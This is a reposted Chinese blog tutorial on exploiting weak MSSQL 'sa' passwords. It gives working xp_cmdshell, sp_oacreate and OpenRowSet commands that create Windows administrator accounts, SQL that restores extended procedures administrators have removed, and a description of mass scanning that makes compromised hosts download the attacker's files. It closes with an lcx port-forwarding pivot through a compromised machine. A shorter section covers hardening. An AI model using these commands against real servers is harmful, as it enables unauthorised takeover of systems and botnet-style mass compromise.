利用mssql弱口令的注入以及防御(安全)

转载 2012年03月24日 18:15:55

原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html

第一部分:猜解口令和入侵

 大家都知道1433是mssql数据库的默认端口,也都知道sa是mssql数据库的默认的管理员帐号,这个端口入侵以前讲过许多,网上也有很多这方面的资料,下面我就根据我个人在【新世纪网安】的学习来总结一下
 
 首先,要想通过1433端口进入载有mssql数据库的主机并取得权限,我们必须要知道它的弱口令。据我所知,国内很多数据库管理员的安全意识是很差的,一个只有几行的弱口令字典不到1秒钟就能猜解出sa口令。
 
 其次,知道了口令之后,我们要取得管理权限,那么说到提权,目前最常用到的就是扩展存储过程xp_cmdshell和sp_oacreate,sp_oamethod以及xp_regwrite等。其中前两种最为大家所熟悉。下面的表1就简单说明了这两种存储的利用方法。
 
表1、

 1.1 在查询分析器里利用 xp_cmdshell 添加windows管理帐号
 
  e.g:   exec master..xp_cmdshell 'net user 123 /add'
    exec master..xp_cmdshell 'net localgroup administrators 123 /add'
 添加完成后,可以为对方开3389终端服务,这样我们就能用刚才建立的帐号进行登录了,就像操作我们自己的电脑一样来操作对方的电脑。怎么样,是不是很容易?
 
 1.2 在 查询分析器里利用 sp_oacreate,sp_oamethod 添加windows管理帐号

  e.g: 
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user 123 /add';--
    按<F5>执行,然后

    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrators 123 /add';--
    
  同样的,我们就添加了一个系统管理员级别的用户了。
  
  当然我们还可以用沙盒模式进行帐号的添加,这里我操作一下
  
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 /add")');
  
  
  检查一下结果,看到了,我们添加上了。
  
 
 但是,随着管理员安全意识和技术水平的提高,以上我们的操作往往会失败,原来,是管理员出于安全考虑,删掉了xp_cmdshell,sp_oacreate,sp_oamethod等存储过程。遇到这种情况,我们就只能对这些存储过程先进行恢复了。下面的表2,简单几句话,就能恢复大多数粗心管理所删掉的扩展存储了。
 

表2、恢复xpshell和oashell

 drop procedure sp_addextendedproc
 exec sp_dropextendedproc 'xp_cmdshell'(这里也可以写成 drop procedure xm_cmdshell)
 drop procedure sp_oacreate
 drop procedure sp_oamethod
 dbcc addextendedproc ("sp_oacreate","odsole70.dll") 【尝试利用数据库自带的dbcc(一致性检查命令)来恢复】
 dbcc addextendedproc ("sp_oamethod","odsole70.dll")
 dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
 
 <试着在自己本机安装一个mssql数据库,删掉前面提到的扩展存储,再用上面的语句试着恢复,会发生什么?>
 
 
第二部分:批量猜解和注入

 第一部分我们了解了原理,那么,可不可以将上面的原理实现在程序代码中呢,答案是可以的。下面我用一款全自动工具来进行扫描和注入,大家看一下是多么的容易。由于扫描的ip段比较大,我是提前开始扫的,快扫到ip段结束的时候暂停,然后开始做动画的,主要是为了节省时间。
 
 好,我们继续。。。大家可以快进一下。这个段设置的比较大。
 
 好了,我们不等了。做这个教程的目的不是教大家扫描抓鸡。呵呵。
 
 绿色字体出现的时候,就是已经猜解出弱口令的
 
 已经开始猜解口令和注入了,这里的serv-u存放着我们的文件,我们发送指令让对方主机来下载我们的文件。怎么样,是不是很轻松容易?这里绿色字体出现的时候,就是已经猜解出弱口令的。猜到之后即刻进行注入,所以显得很快。
 
 看,就这么会儿的时间,就下载和上线了这么多。可想而知我们国内的管理员安全意识是多么的薄弱。
 
 扫描的过程中做做广告,希望大家多来【新世纪网安】学习,一起提高我们的安全技术水平,技术无止境。
 
 
 这个时间我们先看下第三部分,如何防御弱口令利用注入。

第三部分:防御:

 针对以上所述,我们可以采取以下方法进行防御:

 搜索xplog70.dll,xpweb70.dll,odsole70.dll,找到后  改名为 xplog70.dll.bck等。
 
 这样以后需要用到的时候把后面的 .bck 去掉就可以了。

 当然要想更安全,还需要把沙盒模式要用到的xp_regread,xp_regwrite等存储删掉才可以。如果确认你用不倒ias.mdb等Access数据库文件,也把他们改名或者删掉。这样就算你的sa用户是空口令,黑客也要费一翻脑筋了。“最彻底的要数给sa用户降权的做法了”。


sa用户降权的做法:

新建windows用户,隶属于users组或guests组,在服务中找到sqlserver服务器,停止它,设置其登录权限,默认为localsystem,改成你新增的用户,然后重新运行sqlserver即可将SA权限改成普通权限,防止LCX转发提权。


提权教程之lcx转发拿下内网服务器 :

提权思路:利用webshell执行lcx,实现端口发。

首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
然后在肉鸡上运行 lcx.exe -slave 你的IP 51 肉机IP 1433
意思是 把肉机的3389端口 转发到 自己的IP 51端口上


 
 谢谢大家!

相关文章推荐

Microsoft SQL Server SA弱口令攻防实战

摘要:我们都知道,在网络中Microsoft SQLServer的入侵最常见的就是利用SA弱口令入侵了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什...
  • eldn__
  • eldn__
  • 2012年12月03日 21:36
  • 1802

sql弱口令入侵

sql弱口令入侵

防扫描配置与弱口令利用,检测和防御

弱口令利用,检测和防御
  • pygain
  • pygain
  • 2016年08月27日 09:48
  • 1070

极速MSSQL弱口令扫描修正版.exe

  • 2011年08月29日 16:39
  • 956KB
  • 下载

极速MSSQL弱口令扫描改进版

  • 2009年07月27日 18:22
  • 715KB
  • 下载

i春秋:揭秘FTP口令安全—利用“hscan”工具的测试

实验环境 操作机:Windows XP 目标机:Windows 2003Windows FTP 实验工具 Hscan 实验目的 本课程带领大家通过实验使用Hscan破...

雪落MSSQL极速弱口令扫描修正版

  • 2010年08月13日 11:52
  • 2.18MB
  • 下载

WEB安全系列之如何挖掘弱口令

WEB安全之如何挖掘弱口令 0x01  前言      我知道我起这个标题会被很多人鄙视,不就是爆破么?搞得像是谁不会一样。对此,我只想说,那你打我呀!今天会讲的是普通爆破跟使用BURP对...
  • jlangqi
  • jlangqi
  • 2016年08月01日 12:00
  • 734

网站安全 Spring MVC防御CSRF、XSS和SQL注入攻击

本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击)。 说说CSRF 对CSRF...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用mssql弱口令的注入以及防御(安全)
举报原因:
原因补充:

(最多只允许输入30个字)